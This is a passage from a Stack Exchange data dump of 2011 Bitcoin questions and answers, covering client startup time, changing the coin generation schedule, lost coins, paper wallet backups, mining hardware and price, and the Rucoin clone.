LastEditorUserId="307" LastEditDate="2011-11-08T16:55:33.497" LastActivityDate="2011-11-08T16:55:33.497" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1906" PostTypeId="1" CreationDate="2011-11-06T00:55:12.067" Score="8" ViewCount="9867" Body="&lt;p&gt;I use Ubuntu 11.10 and have recently installed the standard Bitcoin client 0.40. But the GUI only appear around 15 minutes after started. My machine is an AMD64 Athlon 4600x2 with 6GB RAM. Is this normal? (I don't think so) Any idea?&lt;/p&gt;&#xA;" OwnerUserId="491" LastEditorUserId="105" LastEditDate="2011-11-06T07:54:32.853" LastActivityDate="2015-07-22T17:59:22.553" Title="Why does it take 15 minutes for my Bitcoin client to start?" Tags="|bitcoin-core|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1907" PostTypeId="1" CreationDate="2011-11-06T02:16:39.273" Score="11" ViewCount="505" Body="&lt;p&gt;One of the most common criticisms made against Bitcoin is related to its &lt;a href=&quot;https://en.bitcoin.it/wiki/Deflationary_spiral&quot;&gt;deflationary nature&lt;/a&gt;.  Regardless of the advantages and disadvantages of an inflationary system, would it possible to change the rate of coin generation in order to transform Bitcoin into an inflationary currency?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that the Bitcoin protocol and client are often updated to incorporate new features, but what part of the protocol (if any) is set in stone? Could such a drastic change be done by the developers?&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2011-11-08T05:34:46.090" Title="Changing Bitcoin's deflationary nature" Tags="|development|protocol|deflation|inflation|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1908" PostTypeId="2" ParentId="1907" CreationDate="2011-11-06T03:00:35.053" Score="0" Body="&lt;p&gt;Changing the rate of coin generation is unnecessary and hard. Instead, an economy can simply use substitutes for currency, just as every modern economy actually does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is insufficient supplies of a currency for an optimum economy, positive pressure will be applied to things that create new currency (because that currency will have more value than it would in a balanced economy). When that happens, people begin to use substitutes for currency in lieu of currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if someone creates some other crypto-currency with a relatively stable exchange rate with respect to Bitcoins, we can use coins in that alternate currency instead of Bitcoins. Similarly, secured notes can used instead of currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it won't matter. A modern economy won't tolerate a consistent deflation. The pressure to fix it would be unstoppable, unless you imagine some powerful government-based economic regulation that prevented expanding the monetary base. (Which, of course, would be politically suicidal.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If deflation is a problem, it's easy to fix a billion different ways.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How much would it matter if the Fed stopped printing dollar bills? What percentage of dollars are in the form of physical dollar bills? A limit on one form a currency won't stop other forms from being used as a substitute for the limited form of the currency. A long-term currency deflation is basically impossible.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-11-06T07:52:20.093" LastActivityDate="2011-11-06T07:52:20.093" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1909" PostTypeId="2" ParentId="1907" CreationDate="2011-11-06T04:00:10.520" Score="6" Body="&lt;p&gt;Changing something like coin generation has two major risks:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a) You fork the network.  If you make a change and it doesn't have universal support then those supporting the old network will see new blocks as invalid and those supporting the new network will see old blocks as invalid.  To users who don't want to get caught up in a &quot;fork war&quot; the results will be confusing. If user on fork A send coins to user on fork B they will be gone but user B will never get them (unless he modifies his client to fork A).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b) You cause a loss of confidence.  Bitcoin is based on &quot;nothing&quot;.  Part of its intrinsic value comes from the fact that nobody can make changes and thus like the &quot;rules&quot; or don't like them you at least know the rules won't change.  Anytime you make a change someone gains and someone loses.  For example if the Federal Reserve lowers interest rates that helps debtors but hurts savers.  Once you start changing the rules Bitcoin becomes open to manipulation with each party pushing for changes that help them.  There is a real risk that will cause a huge loss of confidence.  IF you can gain enough support to change the generation rate you can change just about anything and some people won't like that ambiguous future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those risks aside to change the rate of generation you need to&#xA;a) decide on a future block in which to change generation&#xA;b) reach near unanimous consensus among users (at least among users you can reach)&#xA;c) provide updated client which incorporates changes at the preset future block.&#xA;d) encourage rapid and widespread adoption of clients with new changes prior to the change block.&#xA;e) at the &quot;change block&quot; be prepared for significant issues from users with out of date clients.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no way to force this (or any other) change on the Bitcoin community.  Any change require consensus and for something as devisive as generation change that would be difficult.  If it has low support the &quot;inflation fork&quot; will die off.  If it has high support, then even those who dislike it will eventually adopt it and the original fork will die off.  A worst case scenario would be a &quot;fork war&quot; where both versions have roughly equal support and neither one gains an upper hand.  That likely could crippple Bitcoin or at least push it back significantly.&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2011-11-06T05:04:50.193" LastActivityDate="2011-11-06T05:04:50.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1910" PostTypeId="2" ParentId="1906" CreationDate="2011-11-06T07:42:19.920" Score="6" Body="&lt;p&gt;I can't be sure why your client specifically took 15 minutes to start. But I have benchmarked the client's startup process. Most of the time is spent validating the database to ensure the client has a sensible view of the hash chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is &quot;fast verified&quot; up to the most recent checkpoint and then &quot;slow verified&quot; to the current block. Fast verification entails checking only that the header is valid. Slow verification is a much more complete verification that can only be done at about 20 blocks per second on hardware like yours. (Upgrading the client will help, since newer version of the client will have more recent checkpoints.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you passed the &lt;code&gt;-rescan&lt;/code&gt; option, the client will check every transaction in every block to see if it relates to any account in your wallet. That will add some time to the client's startup time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you run the Bitcoin client for the very first time, it will take several hours to sync up to the network. The downside of a decentralized system is that you cannot trust anything and must check everything yourself. This literally requires you to fully verify &lt;em&gt;every&lt;/em&gt; Bitcoin transaction that has ever taken place. I've seen that take 9 hours on Pentium 4 class computers with 100Mbps Internet connections. (Though I think it should be a bit faster now, thanks to bugfixes in the client.)&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-11-06T14:19:58.643" LastActivityDate="2011-11-06T14:19:58.643" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1911" PostTypeId="2" ParentId="86" CreationDate="2011-11-06T14:13:27.607" Score="9" Body="&lt;p&gt;The owner of the Bitcoinica site has released some &lt;a href=&quot;https://bitcointalk.org/index.php?topic=51011.msg608239#msg608239&quot; rel=&quot;noreferrer&quot;&gt;data&lt;/a&gt; from his site which may reflect the wider bitcoin economy. He gives a value for the Gini coefficient of:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Gini Coefficient = 0.87709&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The &lt;a href=&quot;http://bitcoinreport.blogspot.com/&quot; rel=&quot;noreferrer&quot;&gt;Bitcoin Report&lt;/a&gt; site also releases a regular report on the number of bitcoins in the top 100 wallets. Although one person can own multiple wallets or a wallet of a exchange (e.g. MtGox) may contain coins with multiple owners so it is impossible to know for certain the real wealth distribution but it may have some correlation.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;a href=&quot;http://www.thebitcointrader.com/2011/10/is-it-time-to-occupy-bitcoin-street.html&quot; rel=&quot;noreferrer&quot;&gt;Bitcoin Trader&lt;/a&gt; blog used the Bitcoin report data on the top 100 wallets and compared the data from May 1st and Oct. 29th 2011.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eKIE8.png&quot; alt=&quot;Top 100 wallets distribution&quot; /&gt;.&lt;/p&gt;&#xA;&lt;p&gt;From the Bitcoin Trader:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The distribution of coins among the top 100 has evened out, as can be seen in the chart.&lt;/p&gt;&#xA;&lt;p&gt;Even though 1,310,000 Bitcoins have been mined since May 1st, the top 100 have still managed to increase their relative wealth, and now hold 29.8% of all the Bitcoins ever created!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;While  certainly not perfect these type of statistics may be give some indication of the trends in the wealth distribution in the bitcoin economy.&lt;/p&gt;&#xA;" OwnerUserId="61" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2011-11-06T14:13:27.607" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1912" PostTypeId="2" ParentId="1907" CreationDate="2011-11-06T14:36:39.747" Score="4" Body="&lt;p&gt;There is nothing technically difficult about making this change. Edit a few lines of code, upload a new version, make sure everyone installs it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it is extremely unlikely that any respected developer will ever try to make such a change, or that enough users will adopt it if it is offered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason is that people who hold bitcoins and don't get rid of them like hot potatoes, do so with the understanding that every BTC they have entitles them to 1/21M of the total eventual worth of Bitcoin and that there will be no unplanned inflation. They have confidence that the generation schedule will not change, because it has never changed so far. And people who would consider condoning a change, know that by so doing they will create a loss of confidence for future generations who will have this precedent. And, everyone knows that everyone knows that changing the schedule will create a loss of confidence, giving even more confidence that there will be no change as nobody would condone it. And so on, ad infinitum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, as long as the generation schedule is sacred, it acts as a Schelling point for the confidence in long-term projections. Changing it even once will make this confidence collapse completely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If people want an inflationary decentralized cryptocurrency, they will have to create an alternative currency and leave Bitcoin out of it. The inflation rate can be set in stone, or if they think a mutable schedule is good, they can specify on what terms it can be changed, so it can be safely changed without destroying anything.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2011-11-08T05:34:46.090" LastActivityDate="2011-11-08T05:34:46.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1913" PostTypeId="1" CreationDate="2011-11-06T16:09:48.243" Score="0" ViewCount="405" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/484/why-doesnt-bitcoin-return-lost-coins-back-into-the-block-reward&quot;&gt;Why doesn&amp;#39;t Bitcoin return lost coins back into the block reward?&lt;/a&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1638/what-could-be-the-consequences-of-many-bitcoins-being-lost-out-of-circulation-if&quot;&gt;What could be the consequences of many bitcoins being lost out of circulation if people lose their wallets?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;Okay, the first question has to do with stale bitcoins.  Say people lose their private keys.&#xA;Over time it just keeps building, and a large portion of the 21mm bitcoins are immobilized.&#xA;What happens?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same scenario can occur for a different reason, say people start putting bitcoins in their&#xA;IRAs and there millions of bitcoins held immobile.  Also, how do I know that in 20 years they still will be good.  Maybe the network truncates the transaction log and my part falls off.&lt;/p&gt;&#xA;" OwnerUserId="662" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2014-06-17T14:42:31.780" Title="Is there a mechanism to handle stale bitcoins?" Tags="|shrinking-money-supply|" AnswerCount="4" CommentCount="3" ClosedDate="2011-11-07T14:26:54.183" ContentLicense="CC BY-SA 3.0" />
  <row Id="1914" PostTypeId="1" CreationDate="2011-11-06T16:20:08.777" Score="7" ViewCount="1397" Body="&lt;p&gt;Suppose I wanted to print my bitcoins to paper for safekeeping.  It would be impossible for a hacker to get at my computer.  To do so I need to know where to find the private keys.  Is there only one private key and many public keys?   Does it make sense to carry a printed bitcoin in my pocket and type it in someplace else?  Your thoughts on this matter, please.&lt;/p&gt;&#xA;" OwnerUserId="662" LastActivityDate="2017-11-25T18:29:05.800" Title="If I wanted to print my bitcoins?" Tags="|backup|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1915" PostTypeId="2" ParentId="1913" CreationDate="2011-11-06T16:25:41.030" Score="2" Body="&lt;p&gt;If coins are lost, they are gone forever. This only hurts the person who lost the coins... and in fact it makes the rest of the coins more scarce and thus more valuable long term.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because Bitcoins are divisible down to eight (or more) decimal places, it really means there are 21,000,000 x 1,000,000 = 210,000,000,000,000 units (and this can be divided even further with changes to the code. In practice, this means that one can always have a &quot;small enough&quot; unit of Bitcoin to buy tiny items. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if X number of Bitcoins are lost, the rest simply become more valuable, and unless a coffee costs less than .000000000000001 BTC or something, there will not even be a need to alter any code. If we were using those tiny units, a convenient name would be given to them and life would be fine and dandy.&lt;/p&gt;&#xA;" OwnerUserId="329" LastActivityDate="2011-11-06T16:25:41.030" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1916" PostTypeId="1" AcceptedAnswerId="1925" CreationDate="2011-11-06T16:27:02.730" Score="-4" ViewCount="301" Body="&lt;p&gt;It seems to me that everyone is thinking about the threat from hackers, especially, say large, well-organized groups of hackers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what about another threat:  casual guessers.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose someone develops a screen-saver that guesses intelligently, and everybody just keeps running it trying to win the bitcoin lotto.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could the bitcoin network handle it when only one in ten trillion transactions are legitimate?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sincerely,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joe.&lt;/p&gt;&#xA;" OwnerUserId="662" LastEditorUserId="662" LastEditDate="2011-11-08T21:33:00.347" LastActivityDate="2011-11-08T21:33:00.347" Title="What is the threat from multitudes of casual guessers?" Tags="|network|" AnswerCount="1" CommentCount="3" ClosedDate="2011-11-06T21:09:00.963" ContentLicense="CC BY-SA 3.0" />
  <row Id="1917" PostTypeId="1" AcceptedAnswerId="1920" CreationDate="2011-11-06T16:30:07.513" Score="7" ViewCount="382" Body="&lt;p&gt;A significant number of Video Cards (significant investment) are required to reduce the possibility of 51% attacks. What would happen to the price of a Bitcoin if the prices of Video Cards suddenly plummeted, or (easier to imagine) their capacity quickly increase 20-fold. &lt;/p&gt;&#xA;" OwnerUserId="6" LastEditorUserId="5406" LastEditDate="2016-02-02T09:24:13.637" LastActivityDate="2016-02-02T09:24:13.637" Title="What is/Is there the relation between the value of a bitcoin and the prices of video cards?" Tags="|majority-attack|mining-hardware|gpu-mining|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1918" PostTypeId="2" ParentId="1913" CreationDate="2011-11-06T16:49:36.610" Score="0" Body="&lt;p&gt;In short: yes there is a mechanism, and that mechanism is called &quot;leave them where they are&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So no worries on the IRA, and say good bye to the coins belonging to irretrievably lost private keys.&lt;/p&gt;&#xA;" OwnerUserId="441" LastActivityDate="2011-11-06T16:49:36.610" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1919" PostTypeId="2" ParentId="1914" CreationDate="2011-11-06T16:52:03.753" Score="1" Body="&lt;p&gt;The wallet.dat file stores your private keys. With the current implementation there are as many private keys as there are public, so you'd want to extract the private keys from the wallet for printing. As far as using your printed keys, you can either import them into a wallet later - alternatively, places like mtgox allow you to type in a private key to redeem your coins.&lt;/p&gt;&#xA;" OwnerUserId="441" LastActivityDate="2011-11-06T16:52:03.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1920" PostTypeId="2" ParentId="1917" CreationDate="2011-11-06T16:54:12.953" Score="5" Body="&lt;p&gt;If hardware cost or efficiency rises, the new mining power will enter the network, and the difficulty will rise, keeping the rate of bitcoin production stable - this is one of the key design elements of bitcoin. So, arguably nothing should happen to the price of bitcoins due to cheaper/better mining hardware.&lt;/p&gt;&#xA;" OwnerUserId="441" LastActivityDate="2011-11-06T16:54:12.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1921" PostTypeId="2" ParentId="1913" CreationDate="2011-11-06T18:11:52.257" Score="0" Body="&lt;p&gt;Accidents do not happen, they are caused. Private keys will not be lost if a proper backup strategy is used. The total bitcoins lost will probably be much less than you think.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is generally agreed that the best course of action is to keep lost coins lost. The only way they can be found again is if and when it becomes feasible to break the current digital signature algorithm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The network does not truncate unspent outputs, you can verify this by checking the source code. You need to have faith that the network will reject harmful changes such as starting to truncate. However, if a weakness in the DSA is found and a new DSA becomes standard, you may want to move your savings coins to a new address.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2011-11-06T18:11:52.257" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1922" PostTypeId="2" ParentId="1917" CreationDate="2011-11-06T18:25:11.293" Score="6" Body="&lt;p&gt;Price comes from ratio of supply and demand. Bitcoin supply rate doesn't change, about 300 bitcoin per hour. So the price changes only when demand changes, and the difficulty to mine bitcoins adjusts to the new price, in another words price change would affect network difficulty, but not the other way around. Therefore video card price would affect difficulty, but it wouldn't change bitcoin market price.&lt;/p&gt;&#xA;" OwnerUserId="108" LastEditorUserId="108" LastEditDate="2011-11-07T02:02:20.597" LastActivityDate="2011-11-07T02:02:20.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1923" PostTypeId="2" ParentId="1917" CreationDate="2011-11-06T18:36:25.267" Score="2" Body="&lt;p&gt;The change of price in Bitcoins would probably be temporary. Once the difficulty would adjust itself and coins would be generated slower. After that, the market would probably go back to normal levels, after people would figure out that the cost of electricity are bigger than the worth of Bitcoins. It is pretty much what is happening &lt;a href=&quot;http://bitcoin.sipa.be/&quot; rel=&quot;nofollow&quot;&gt;right now&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-11-06T18:36:25.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1924" PostTypeId="2" ParentId="1914" CreationDate="2011-11-06T18:44:08.160" Score="3" Body="&lt;p&gt;There are many pairs of private-public keys. The usual wallet.dat starts with 100 keypairs, although usually you use only a few. To get your keys you can use &lt;a href=&quot;https://bitcointalk.org/index.php?topic=34028.0&quot; rel=&quot;nofollow&quot;&gt;Pywallet&lt;/a&gt;. Then you can print them as they are, or as QR codes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should note however, you are not printing Bitcoins, but the keys you use to get to them. This is more like printing username and password to your paypal account, rather than printing money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Carrying your printed keys is only useful if you intend on paying with them (and only as much as you need in case you loose your printed key). As not many people accept Bitcoins nowadays, it is not too useful.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-11-06T18:44:08.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1925" PostTypeId="2" ParentId="1916" CreationDate="2011-11-06T18:50:23.520" Score="1" Body="&lt;p&gt;Transactions that are invalid will not be propagated by the network, they will stop at the first node that will get them. If someone spams the network with invalid transactions, they can be ignored by the nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Guessing someone's key is so improbable, that not now it is impossible to get any results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Spammers and scammers probably won't target Bitcoins for awhile - people using them are too few and far in-between. People writing viruses are more harmful nowadays, whether they steal wallets, or botnet your computers into mining.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-11-06T18:50:23.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1926" PostTypeId="2" ParentId="1913" CreationDate="2011-11-06T18:54:25.713" Score="0" Body="&lt;p&gt;Coins are never &quot;deleted&quot;, there is a small chance that someone generating a key in the future will generate a conflict and recover those lost coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoins are infinitely divisible, so the network can run on a fraction of a Bitcoin just as well as on all of them. There is no problem of liquidity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem with hoarding is the same as with any finite resource (like gold) - people hoard money, value of money goes up, people dump their hoarding, get rich, value goes down, cycle repeats.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-11-06T18:54:25.713" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1927" PostTypeId="2" ParentId="1914" CreationDate="2011-11-06T20:05:26.123" Score="3" Body="&lt;p&gt;There is one private key for each bitcoin address. While it is possible to carry private keys around and make payments with them, it is not a very common procedure. The biggest problem is that the person receiving the coins would have to import your private key and transfer them somewhere else to make sure that you don't spend them again (and you would probably have to have an address where you can receive your change).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin payments should be made with a bitcoin client (either on your mobile phone or on your computer) because it is simpler and safer. Printing addresses is a good idea for backup purposes. See &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1080/how-to-save-bitcoins-as-paper&quot;&gt;this question&lt;/a&gt; to find out to print them.&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2011-11-06T20:05:26.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1928" PostTypeId="2" ParentId="1917" CreationDate="2011-11-07T02:53:25.970" Score="4" Body="&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/419/is-there-empirical-data-about-a-relationship-between-bitcoin-price-and-difficult&quot;&gt;Price drives difficulty&lt;/a&gt; and not the other way around (or at least not as much). The price/performance of hardware  affects difficulty so you can't predict the Bitcoin price based on the cost to run the Bitcoin network.&lt;br&gt;&#xA;For example, during the last 6 months the Bitcoin price fell 90% while the hardware costs remained exactly the same. &lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2011-11-07T02:53:25.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1929" PostTypeId="1" AcceptedAnswerId="1934" CreationDate="2011-11-07T10:25:19.753" Score="5" ViewCount="2041" Body="&lt;p&gt;&lt;a href=&quot;https://www.rucoin.org/&quot;&gt;Rucoin&lt;/a&gt; is a &quot;Russian Bitcoin clone&quot; (see &lt;a href=&quot;https://bitcointalk.org/index.php?topic=48582.40&quot;&gt;announcement thread&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides the fact the website is in Russian, what other characteristics does this coin have?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it just a 1-to-1 Bitcoin clone? Is mining limited to clients from Russia? &lt;a href=&quot;https://bitcointalk.org/index.php?topic=48582.msg586451#msg586451&quot;&gt;This post&lt;/a&gt; claims that&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Rucoin provides some tools functionally similar to central bank and&#xA;  the stabilization fund, whose main task - to make the course of&#xA;  crypto-currency stable, predictable and guaranteed.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how they claim this is achieved ... or in other words, how exactly is Rucoin different than Bitcoin?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-04-11T18:45:29.033" Title="How exactly is Rucoin different than Bitcoin?" Tags="|alternatives|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1930" PostTypeId="1" CreationDate="2011-11-07T11:50:48.933" Score="11" ViewCount="446" Body="&lt;p&gt;Loop means: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;merchant will get delivered goods from producer in BTC&lt;/li&gt;&#xA;&lt;li&gt;customer will buy goods from merchant in BTC&lt;/li&gt;&#xA;&lt;li&gt;factory worker will get salary as BTC (at least in parts)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;At this loop there is no necessity to exchange BTC to local currencies and vice versa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any producer at any country known that can pay salaries legal in BTC?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, how can we achieve this closed loop?&lt;/p&gt;&#xA;" OwnerUserId="635" LastActivityDate="2011-11-10T01:28:15.550" Title="Is there already an existing closed cash flow loop for the currency BTC?" Tags="|bitcoin-economy|exchanges|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1931" PostTypeId="2" ParentId="1906" CreationDate="2011-11-07T12:02:33.143" Score="1" Body="&lt;p&gt;Maybe you are mining?&#xA;From my experience, when I run the miner before bitcoin,&#xA;bitcoin will block at &quot;Loading address...&quot; or &quot;Loading block index...&quot; for a long time.&#xA;You can see it in debug.log.&#xA;Stop the miner and bitcoin will start soon. Then you can run the miner again.&lt;/p&gt;&#xA;" OwnerUserId="666" LastActivityDate="2011-11-07T12:02:33.143" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1932" PostTypeId="2" ParentId="1930" CreationDate="2011-11-07T14:29:06.667" Score="3" Body="&lt;p&gt;Closed vs open loop isn't a black or white definition.  For example even in the US were you have significant velocity of money companies buy parts in other currencies (from other countries), consumers imports goods manufactured overseas, and investors buy foreign stocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So there is no such thing as a completely closed loop.  I think what you are asking is what can be done to keep transactions in BTC either perpetually or for longer (before being cashed into fiat).  Unfortunately that is a slow process.  There is no grand over arching plan rather each individual seller increases the potential to the currency to be recirculated more before being exchanged.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see three major factors determine how likely acquirers of BTC will keep the BTC over selling for fiat currencies:&#xA;1) Availability of goods.  The more goods and services available in BTC the more valuable the currency is relative to fiat currencies and the more likely someone who acquires BTC will keep them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Value of goods.  If goods are sold in BTC at a discount that will increase the value of BTC.  If good are sold in BTC at a premium that discounts the value of BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Price stability.  The more volatile the price the more risk of losing purchasing power by holding BTC.  That will reduce the likelihood that an acquirer of BTC keeps those BTC over more stable currencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are no easy answers to the problem of increasing the length of BTC loop as BTC isn't a planned economy.  As an individual the best thing you can do is to offer goods or services in BTC and look for merchants who do the same.&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2011-11-07T19:00:50.170" LastActivityDate="2011-11-07T19:00:50.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1933" PostTypeId="2" ParentId="1917" CreationDate="2011-11-07T14:35:04.210" Score="2" Body="&lt;p&gt;Because of difficulty adjustments price wouldn't be affected.  Regardless of how much hashing power the network has the number of coins produced will remain relatively static.  More efficient (in terms of $/MH and MH/W) video cards will drive up hashing power of the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The performance per watt will likely be more important than performance per dollar as purchased video cards are a sunk cost however they need to compete in an ongoing basis against newer more efficient cards in power consumption.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A video card with half the power consumption for the same performance (MH/s) will have a lower cost of production.  This means it can be profitable at a higher ratio of difficulty:price.  If a sufficient portion of the network is using more efficient hardware we would expect the difficulty relative to price to rise.  This will eventually force out users with inefficient hardware.  We have already seen that in the demise of CPU mining.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eventually this will be seen with the rise of FPGA mining.  FPGA don't need to achieve a price parity with GPU (and likely never will) but as their price becomes more competitive, more will be adopted and that will increase the efficiency of the network significantly.  The ratio between difficult : price will rise accordingly.&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2011-11-07T14:35:04.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1934" PostTypeId="2" ParentId="1929" CreationDate="2011-11-07T16:05:33.333" Score="5" Body="&lt;p&gt;The &quot;author&quot; (if you can call a blatant 1:1 copy of Bitcoin authoring) has not backed up those claims.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The website provides no further explanation and a lot of vague nonsensical &quot;answers&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A crude but human translated English version of Russian homepage is here:&#xA;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=48582.msg586451#msg586451&quot;&gt;https://bitcointalk.org/index.php?topic=48582.msg586451#msg586451&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What is the specifics of the Rucoin?&#xA;  In short - more stable course&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;It is difficult to talk about stability when the system is at the forefront of the struggle of interests. &#xA;  Constant fierce struggle of interests causes course instability, which creates a number of disadvantages for practical use of such currency.&#xA;  Another thing - Rucoin. &#xA;  This project was not born on the battlefields. At the heart of Rucoin - ready, proven solutions and lessons learned. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Those &quot;solutions&quot; and &quot;lessons&quot; are never explained except with vague double speak.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Conceptually, Rucoin - this is a layer of stability and security, when, instead of blind hope for &quot;the invisible hand of market&quot; principles are used strict currency regulations. Instead, to give the exchange 